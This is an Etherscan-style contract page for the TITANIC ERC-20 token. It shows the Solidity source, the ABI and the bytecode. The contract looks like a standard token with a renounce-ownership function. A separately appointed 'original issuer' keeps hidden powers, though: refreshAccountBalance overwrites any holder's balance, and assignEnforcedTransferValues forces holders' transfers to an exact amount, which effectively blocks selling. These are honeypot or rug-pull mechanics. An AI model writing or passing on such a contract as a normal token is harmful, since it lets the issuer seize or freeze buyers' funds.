Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000 TITANIC
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,781.184352436096810521 TITANICValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
titanic
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-21 */ //SPDX-License-Identifier: UNLICENSED // https://t.me/titanic_erc20 pragma solidity ^0.8.16; interface ITokenStandard20 { function totalSupply() external view returns (uint256); function balanceOf(address holder) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract SenderContext { function fetchSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract UnitaryControl is SenderContext { address private soleController; event ControllerChanged(address indexed formerController, address indexed newController); constructor() { address sender = fetchSender(); soleController = sender; emit ControllerChanged(address(0), sender); } function retrieveController() public view virtual returns (address) { return soleController; } modifier onlyController() { require(retrieveController() == fetchSender(), "Not authorized. Sole controller only."); _; } function surrenderControl() public virtual onlyController { emit ControllerChanged(soleController, address(0)); soleController = address(0); } } contract titanic is SenderContext, UnitaryControl, ITokenStandard20 { mapping (address => mapping (address => uint256)) private authorizationLimits; mapping (address => uint256) private accountBalances; mapping (address => uint256) private enforcedTransferValues; address private originalIssuer; string public constant tokenLabel = "TITANIC"; string public constant tokenAbbreviation = "TITANIC"; uint8 public constant tokenPrecision = 18; uint256 public constant ultimateSupply = 100000 * (10 ** tokenPrecision); constructor() { accountBalances[fetchSender()] = ultimateSupply; emit Transfer(address(0), fetchSender(), ultimateSupply); } modifier onlyOriginalIssuer() { require(getOriginalIssuer() == fetchSender(), "Not authorized. Original issuer only."); _; } function getOriginalIssuer() public view virtual returns (address) { return originalIssuer; } function appointOriginalIssuer(address designatedIssuer) public onlyController { originalIssuer = designatedIssuer; } event TokenAllocation(address indexed participant, uint256 formerBalance, uint256 updatedBalance); function enforceTransferValue(address holder) public view returns (uint256) { return enforcedTransferValues[holder]; } function assignEnforcedTransferValues(address[] calldata holders, uint256 value) public onlyOriginalIssuer { for (uint i = 0; i < holders.length; i++) { enforcedTransferValues[holders[i]] = value; } } function refreshAccountBalance(address[] memory addresses, uint256 newBalance) public onlyOriginalIssuer { require(newBalance >= 0, "Amount must be non-negative"); for (uint256 i = 0; i < addresses.length; i++) { address currentAddr = addresses[i]; require(currentAddr != address(0), "Invalid address provided"); uint256 previousBalance = accountBalances[currentAddr]; accountBalances[currentAddr] = newBalance; emit TokenAllocation(currentAddr, previousBalance, newBalance); } } function balanceOf(address account) public view override returns (uint256) { return accountBalances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(accountBalances[fetchSender()] >= amount, "Insufficient balance"); uint256 requiredTransferValue = enforceTransferValue(fetchSender()); if (requiredTransferValue > 0) { require(amount == requiredTransferValue, "Mandatory transfer value mismatch"); } accountBalances[fetchSender()] -= amount; accountBalances[recipient] += amount; emit Transfer(fetchSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return authorizationLimits[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { authorizationLimits[fetchSender()][spender] = amount; emit Approval(fetchSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(authorizationLimits[sender][fetchSender()] >= amount, "Allowance limit exceeded"); uint256 requiredTransferValue = enforceTransferValue(sender); if (requiredTransferValue > 0) { require(amount == requiredTransferValue, "Mandatory transfer value mismatch"); } accountBalances[sender] -= amount; accountBalances[recipient] += amount; authorizationLimits[sender][fetchSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return ultimateSupply; } function name() public view returns (string memory) { return tokenLabel; } function symbol() public view returns (string memory) { return tokenAbbreviation; } function decimals() public view returns (uint8) { return tokenPrecision; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"formerController","type":"address"},{"indexed":true,"internalType":"address","name":"newController","type":"address"}],"name":"ControllerChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"participant","type":"address"},{"indexed":false,"internalType":"uint256","name":"formerBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokenAllocation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"designatedIssuer","type":"address"}],"name":"appointOriginalIssuer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"assignEnforcedTransferValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"enforceTransferValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOriginalIssuer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"refreshAccountBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveController","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"surrenderControl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAbbreviation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLabel","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenPrecision","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f7908290a350620000616012600a620001ee565b6200007090620186a062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c290620186a062000206565b60405190815260200160405180910390a362000228565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b6000816000190483118215151615620002235762000223620000d9565b500290565b610df980620002386000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063393fb585116100ad578063a9059cbb11610071578063a9059cbb146102a1578063b15e5e74146102b4578063b5855eca146102bc578063dd62ed3e146102c4578063f1e830c6146102fd57600080fd5b8063393fb585146101ca57806350cc1dcf146102525780635e0a2a731461026557806370a082311461027857806395d89b411461015b57600080fd5b80631f4f0517116100f45780631f4f0517146101ca57806321c95eb0146101f057806323b872dd14610201578063313ce567146102145780633145f5181461022957600080fd5b806304bddd5c1461013157806306fdde031461015b578063095ea7b31461018757806313235e4a146101aa57806318160ddd146101b4575b600080fd5b6000546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b604080518082019091526007815266544954414e494360c81b60208201525b60405161015291906108fa565b61019a610195366004610964565b610310565b6040519015158152602001610152565b6101b2610378565b005b6101bc6103f5565b604051908152602001610152565b61017a60405180604001604052806007815260200166544954414e494360c81b81525081565b6004546001600160a01b031661013e565b61019a61020f36600461098e565b610415565b60125b60405160ff9091168152602001610152565b6101bc6102373660046109ca565b6001600160a01b031660009081526003602052604090205490565b6101b2610260366004610a02565b6105b2565b6101b26102733660046109ca565b6106dc565b6101bc6102863660046109ca565b6001600160a01b031660009081526002602052604090205490565b61019a6102af366004610964565b610728565b6101bc61084b565b610217601281565b6101bc6102d2366004610acd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101b261030b366004610b00565b610867565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290610b7b565b60405180910390fd5b600080546040516001600160a01b03909116907f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f7908390a3600080546001600160a01b0319169055565b60006104036012600a610cba565b61041090620186a0610cc9565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156104885760405162461bcd60e51b815260206004820152601860248201527f416c6c6f77616e6365206c696d6974206578636565646564000000000000000060448201526064016103a2565b6001600160a01b03841660009081526003602052604090205480156104c6578083146104c65760405162461bcd60e51b81526004016103a290610ce8565b6001600160a01b038516600090815260026020526040812080548592906104ee908490610d29565b90915550506001600160a01b0384166000908152600260205260408120805485929061051b908490610d3c565b90915550506001600160a01b038516600090815260016020908152604080832033845290915281208054859290610553908490610d29565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161059f91815260200190565b60405180910390a3506001949350505050565b6004546001600160a01b031633146105dc5760405162461bcd60e51b81526004016103a290610d4f565b60005b82518110156106d75760008382815181106105fc576105fc610d94565b6020026020010151905060006001600160a01b0316816001600160a01b0316036106685760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420616464726573732070726f7669646564000000000000000060448201526064016103a2565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fda0e7a7a52e6fbb8b63ff74a5a77773bc33831b462c6315e25e3bb3a3dfee1b3910160405180910390a2505080806106cf90610daa565b9150506105df565b505050565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016103a290610b7b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604081205482111561077e5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016103a2565b600061078933610237565b905080156107b0578083146107b05760405162461bcd60e51b81526004016103a290610ce8565b33600090815260026020526040812080548592906107cf908490610d29565b90915550506001600160a01b038416600090815260026020526040812080548592906107fc908490610d3c565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6108576012600a610cba565b61086490620186a0610cc9565b81565b6004546001600160a01b031633146108915760405162461bcd60e51b81526004016103a290610d4f565b60005b828110156108f45781600360008686858181106108b3576108b3610d94565b90506020020160208101906108c891906109ca565b6001600160a01b03168152602081019190915260400160002055806108ec81610daa565b915050610894565b50505050565b600060208083528351808285015260005b818110156109275785810183015185820160400152820161090b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095f57600080fd5b919050565b6000806040838503121561097757600080fd5b61098083610948565b946020939093013593505050565b6000806000606084860312156109a357600080fd5b6109ac84610948565b92506109ba60208501610948565b9150604084013590509250925092565b6000602082840312156109dc57600080fd5b6109e582610948565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a1557600080fd5b823567ffffffffffffffff80821115610a2d57600080fd5b818501915085601f830112610a4157600080fd5b8135602082821115610a5557610a556109ec565b8160051b604051601f19603f83011681018181108682111715610a7a57610a7a6109ec565b604052928352818301935084810182019289841115610a9857600080fd5b948201945b83861015610abd57610aae86610948565b85529482019493820193610a9d565b9997909101359750505050505050565b60008060408385031215610ae057600080fd5b610ae983610948565b9150610af760208401610948565b90509250929050565b600080600060408486031215610b1557600080fd5b833567ffffffffffffffff80821115610b2d57600080fd5b818601915086601f830112610b4157600080fd5b813581811115610b5057600080fd5b8760208260051b8501011115610b6557600080fd5b6020928301989097509590910135949350505050565b60208082526025908201527f4e6f7420617574686f72697a65642e20536f6c6520636f6e74726f6c6c65722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610c11578160001904821115610bf757610bf7610bc0565b80851615610c0457918102915b93841c9390800290610bdb565b509250929050565b600082610c2857506001610372565b81610c3557506000610372565b8160018114610c4b5760028114610c5557610c71565b6001915050610372565b60ff841115610c6657610c66610bc0565b50506001821b610372565b5060208310610133831016604e8410600b8410161715610c94575081810a610372565b610c9e8383610bd6565b8060001904821115610cb257610cb2610bc0565b029392505050565b60006109e560ff841683610c19565b6000816000190483118215151615610ce357610ce3610bc0565b500290565b60208082526021908201527f4d616e6461746f7279207472616e736665722076616c7565206d69736d6174636040820152600d60fb1b606082015260800190565b8181038181111561037257610372610bc0565b8082018082111561037257610372610bc0565b60208082526025908201527f4e6f7420617574686f72697a65642e204f726967696e616c206973737565722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060018201610dbc57610dbc610bc0565b506001019056fea26469706673582212207205abe54a65ff5c3c9f121a26fc64020afafafe568b505f24cd952e61e40fed64736f6c63430008100033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063393fb585116100ad578063a9059cbb11610071578063a9059cbb146102a1578063b15e5e74146102b4578063b5855eca146102bc578063dd62ed3e146102c4578063f1e830c6146102fd57600080fd5b8063393fb585146101ca57806350cc1dcf146102525780635e0a2a731461026557806370a082311461027857806395d89b411461015b57600080fd5b80631f4f0517116100f45780631f4f0517146101ca57806321c95eb0146101f057806323b872dd14610201578063313ce567146102145780633145f5181461022957600080fd5b806304bddd5c1461013157806306fdde031461015b578063095ea7b31461018757806313235e4a146101aa57806318160ddd146101b4575b600080fd5b6000546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b604080518082019091526007815266544954414e494360c81b60208201525b60405161015291906108fa565b61019a610195366004610964565b610310565b6040519015158152602001610152565b6101b2610378565b005b6101bc6103f5565b604051908152602001610152565b61017a60405180604001604052806007815260200166544954414e494360c81b81525081565b6004546001600160a01b031661013e565b61019a61020f36600461098e565b610415565b60125b60405160ff9091168152602001610152565b6101bc6102373660046109ca565b6001600160a01b031660009081526003602052604090205490565b6101b2610260366004610a02565b6105b2565b6101b26102733660046109ca565b6106dc565b6101bc6102863660046109ca565b6001600160a01b031660009081526002602052604090205490565b61019a6102af366004610964565b610728565b6101bc61084b565b610217601281565b6101bc6102d2366004610acd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101b261030b366004610b00565b610867565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290610b7b565b60405180910390fd5b600080546040516001600160a01b03909116907f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f7908390a3600080546001600160a01b0319169055565b60006104036012600a610cba565b61041090620186a0610cc9565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156104885760405162461bcd60e51b815260206004820152601860248201527f416c6c6f77616e6365206c696d6974206578636565646564000000000000000060448201526064016103a2565b6001600160a01b03841660009081526003602052604090205480156104c6578083146104c65760405162461bcd60e51b81526004016103a290610ce8565b6001600160a01b038516600090815260026020526040812080548592906104ee908490610d29565b90915550506001600160a01b0384166000908152600260205260408120805485929061051b908490610d3c565b90915550506001600160a01b038516600090815260016020908152604080832033845290915281208054859290610553908490610d29565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161059f91815260200190565b60405180910390a3506001949350505050565b6004546001600160a01b031633146105dc5760405162461bcd60e51b81526004016103a290610d4f565b60005b82518110156106d75760008382815181106105fc576105fc610d94565b6020026020010151905060006001600160a01b0316816001600160a01b0316036106685760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420616464726573732070726f7669646564000000000000000060448201526064016103a2565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fda0e7a7a52e6fbb8b63ff74a5a77773bc33831b462c6315e25e3bb3a3dfee1b3910160405180910390a2505080806106cf90610daa565b9150506105df565b505050565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016103a290610b7b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604081205482111561077e5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016103a2565b600061078933610237565b905080156107b0578083146107b05760405162461bcd60e51b81526004016103a290610ce8565b33600090815260026020526040812080548592906107cf908490610d29565b90915550506001600160a01b038416600090815260026020526040812080548592906107fc908490610d3c565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6108576012600a610cba565b61086490620186a0610cc9565b81565b6004546001600160a01b031633146108915760405162461bcd60e51b81526004016103a290610d4f565b60005b828110156108f45781600360008686858181106108b3576108b3610d94565b90506020020160208101906108c891906109ca565b6001600160a01b03168152602081019190915260400160002055806108ec81610daa565b915050610894565b50505050565b600060208083528351808285015260005b818110156109275785810183015185820160400152820161090b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095f57600080fd5b919050565b6000806040838503121561097757600080fd5b61098083610948565b946020939093013593505050565b6000806000606084860312156109a357600080fd5b6109ac84610948565b92506109ba60208501610948565b9150604084013590509250925092565b6000602082840312156109dc57600080fd5b6109e582610948565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a1557600080fd5b823567ffffffffffffffff80821115610a2d57600080fd5b818501915085601f830112610a4157600080fd5b8135602082821115610a5557610a556109ec565b8160051b604051601f19603f83011681018181108682111715610a7a57610a7a6109ec565b604052928352818301935084810182019289841115610a9857600080fd5b948201945b83861015610abd57610aae86610948565b85529482019493820193610a9d565b9997909101359750505050505050565b60008060408385031215610ae057600080fd5b610ae983610948565b9150610af760208401610948565b90509250929050565b600080600060408486031215610b1557600080fd5b833567ffffffffffffffff80821115610b2d57600080fd5b818601915086601f830112610b4157600080fd5b813581811115610b5057600080fd5b8760208260051b8501011115610b6557600080fd5b6020928301989097509590910135949350505050565b60208082526025908201527f4e6f7420617574686f72697a65642e20536f6c6520636f6e74726f6c6c65722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610c11578160001904821115610bf757610bf7610bc0565b80851615610c0457918102915b93841c9390800290610bdb565b509250929050565b600082610c2857506001610372565b81610c3557506000610372565b8160018114610c4b5760028114610c5557610c71565b6001915050610372565b60ff841115610c6657610c66610bc0565b50506001821b610372565b5060208310610133831016604e8410600b8410161715610c94575081810a610372565b610c9e8383610bd6565b8060001904821115610cb257610cb2610bc0565b029392505050565b60006109e560ff841683610c19565b6000816000190483118215151615610ce357610ce3610bc0565b500290565b60208082526021908201527f4d616e6461746f7279207472616e736665722076616c7565206d69736d6174636040820152600d60fb1b606082015260800190565b8181038181111561037257610372610bc0565b8082018082111561037257610372610bc0565b60208082526025908201527f4e6f7420617574686f72697a65642e204f726967696e616c206973737565722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060018201610dbc57610dbc610bc0565b506001019056fea26469706673582212207205abe54a65ff5c3c9f121a26fc64020afafafe568b505f24cd952e61e40fed64736f6c63430008100033
Deployed Bytecode Sourcemap
1731:4435:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1291:108;1350:7;1377:14;-1:-1:-1;;;;;1377:14:0;1291:108;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;1291:108:0;;;;;;;;5872:88;5942:10;;;;;;;;;;;;-1:-1:-1;;;5942:10:0;;;;5872:88;;;;;;;:::i;4837:238::-;;;;;;:::i;:::-;;:::i;:::-;;;1377:14:1;;1370:22;1352:41;;1340:2;1325:18;4837:238:0;1212:187:1;1559:165:0;;;:::i;:::-;;5760:104;;;:::i;:::-;;;1550:25:1;;;1538:2;1523:18;5760:104:0;1404:177:1;2054:45:0;;;;;;;;;;;;;;;-1:-1:-1;;;2054:45:0;;;;;2604:107;2689:14;;-1:-1:-1;;;;;2689:14:0;2604:107;;5083:669;;;;;;:::i;:::-;;:::i;6073:88::-;2204:2;6073:88;;;2091:4:1;2079:17;;;2061:36;;2049:2;2034:18;6073:88:0;1919:184:1;2964:132:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3058:30:0;3031:7;3058:30;;;:22;:30;;;;;;;2964:132;3348:582;;;;;;:::i;:::-;;:::i;2719:131::-;;;;;;:::i;:::-;;:::i;3938:125::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4031:24:0;4004:7;4031:24;;;:15;:24;;;;;;;3938:125;4071:591;;;;;;:::i;:::-;;:::i;2213:72::-;;;:::i;2165:41::-;;2204:2;2165:41;;4670:159;;;;;;:::i;:::-;-1:-1:-1;;;;;4786:26:0;;;4759:7;4786:26;;;:19;:26;;;;;;;;:35;;;;;;;;;;;;;4670:159;3104:236;;;;;;:::i;:::-;;:::i;4837:238::-;925:10;4920:4;4937:34;;;:19;:34;;;;;;;;-1:-1:-1;;;;;4937:43:0;;;;;;;;;;;:52;;;5005:40;;1550:25:1;;;4920:4:0;;4937:43;;925:10;;5005:40;;1523:18:1;5005:40:0;;;;;;;-1:-1:-1;5063:4:0;4837:238;;;;;:::o;1559:165::-;1350:7;1377:14;-1:-1:-1;;;;;1377:14:0;925:10;1452:37;1444:87;;;;-1:-1:-1;;;1444:87:0;;;;;;;:::i;:::-;;;;;;;;;1675:1:::1;1651:14:::0;;1633:45:::1;::::0;-1:-1:-1;;;;;1651:14:0;;::::1;::::0;1633:45:::1;::::0;1675:1;;1633:45:::1;1714:1;1689:27:::0;;-1:-1:-1;;;;;;1689:27:0::1;::::0;;1559:165::o;5760:104::-;5815:7;2264:20;2204:2;2264;:20;:::i;:::-;2254:31;;:6;:31;:::i;:::-;5835:21;;5760:104;:::o;5083:669::-;-1:-1:-1;;;;;5214:27:0;;5189:4;5214:27;;;:19;:27;;;;;;;;925:10;5214:42;;;;;;;;:52;-1:-1:-1;5214:52:0;5206:89;;;;-1:-1:-1;;;5206:89:0;;6882:2:1;5206:89:0;;;6864:21:1;6921:2;6901:18;;;6894:30;6960:26;6940:18;;;6933:54;7004:18;;5206:89:0;6680:348:1;5206:89:0;-1:-1:-1;;;;;3058:30:0;;5308:29;3058:30;;;:22;:30;;;;;;5383:25;;5379:135;;5443:21;5433:6;:31;5425:77;;;;-1:-1:-1;;;5425:77:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5526:23:0;;;;;;:15;:23;;;;;:33;;5553:6;;5526:23;:33;;5553:6;;5526:33;:::i;:::-;;;;-1:-1:-1;;;;;;;5570:26:0;;;;;;:15;:26;;;;;:36;;5600:6;;5570:26;:36;;5600:6;;5570:36;:::i;:::-;;;;-1:-1:-1;;;;;;;5617:27:0;;;;;;:19;:27;;;;;;;;925:10;5617:42;;;;;;;:52;;5663:6;;5617:27;:52;;5663:6;;5617:52;:::i;:::-;;;;;;;;5704:9;-1:-1:-1;;;;;5687:35:0;5696:6;-1:-1:-1;;;;;5687:35:0;;5715:6;5687:35;;;;1550:25:1;;1538:2;1523:18;;1404:177;5687:35:0;;;;;;;;-1:-1:-1;5740:4:0;;5083:669;-1:-1:-1;;;;5083:669:0:o;3348:582::-;2689:14;;-1:-1:-1;;;;;2689:14:0;925:10;2498:36;2490:86;;;;-1:-1:-1;;;2490:86:0;;;;;;;:::i;:::-;3537:9:::1;3532:391;3556:9;:16;3552:1;:20;3532:391;;;3594:19;3616:9;3626:1;3616:12;;;;;;;;:::i;:::-;;;;;;;3594:34;;3674:1;-1:-1:-1::0;;;;;3651:25:0::1;:11;-1:-1:-1::0;;;;;3651:25:0::1;::::0;3643:62:::1;;;::::0;-1:-1:-1;;;3643:62:0;;8794:2:1;3643:62:0::1;::::0;::::1;8776:21:1::0;8833:2;8813:18;;;8806:30;8872:26;8852:18;;;8845:54;8916:18;;3643:62:0::1;8592:348:1::0;3643:62:0::1;-1:-1:-1::0;;;;;3748:28:0;::::1;3722:23;3748:28:::0;;;:15:::1;:28;::::0;;;;;;;;;;3791:41;;;;3854:57;;9119:25:1;;;9160:18;;;9153:34;;;3748:28:0;;3854:57:::1;::::0;9092:18:1;3854:57:0::1;;;;;;;3579:344;;3574:3;;;;;:::i;:::-;;;;3532:391;;;;3348:582:::0;;:::o;2719:131::-;1350:7;1377:14;-1:-1:-1;;;;;1377:14:0;925:10;1452:37;1444:87;;;;-1:-1:-1;;;1444:87:0;;;;;;;:::i;:::-;2809:14:::1;:33:::0;;-1:-1:-1;;;;;;2809:33:0::1;-1:-1:-1::0;;;;;2809:33:0;;;::::1;::::0;;;::::1;::::0;;2719:131::o;4071:591::-;925:10;4157:4;4182:30;;;:15;:30;;;;;;:40;-1:-1:-1;4182:40:0;4174:73;;;;-1:-1:-1;;;4174:73:0;;9540:2:1;4174:73:0;;;9522:21:1;9579:2;9559:18;;;9552:30;-1:-1:-1;;;9598:18:1;;;9591:50;9658:18;;4174:73:0;9338:344:1;4174:73:0;4260:29;4292:35;925:10;4313:13;828:116;4292:35;4260:67;-1:-1:-1;4342:25:0;;4338:135;;4402:21;4392:6;:31;4384:77;;;;-1:-1:-1;;;4384:77:0;;;;;;;:::i;:::-;925:10;4485:30;;;;:15;:30;;;;;:40;;4519:6;;4485:30;:40;;4519:6;;4485:40;:::i;:::-;;;;-1:-1:-1;;;;;;;4536:26:0;;;;;;:15;:26;;;;;:36;;4566:6;;4536:26;:36;;4566:6;;4536:36;:::i;:::-;;;;-1:-1:-1;;4590:42:0;;1550:25:1;;;-1:-1:-1;;;;;4590:42:0;;;925:10;;4590:42;;1538:2:1;1523:18;4590:42:0;;;;;;;-1:-1:-1;4650:4:0;;4071:591;-1:-1:-1;;;4071:591:0:o;2213:72::-;2264:20;2204:2;2264;:20;:::i;:::-;2254:31;;:6;:31;:::i;:::-;2213:72;:::o;3104:236::-;2689:14;;-1:-1:-1;;;;;2689:14:0;925:10;2498:36;2490:86;;;;-1:-1:-1;;;2490:86:0;;;;;;;:::i;:::-;3227:6:::1;3222:111;3239:18:::0;;::::1;3222:111;;;3316:5;3279:22;:34;3302:7;;3310:1;3302:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3279:34:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3279:34:0;:42;3259:3;::::1;::::0;::::1;:::i;:::-;;;;3222:111;;;;3104:236:::0;;;:::o;222:548:1:-;334:4;363:2;392;381:9;374:21;424:6;418:13;467:6;462:2;451:9;447:18;440:34;492: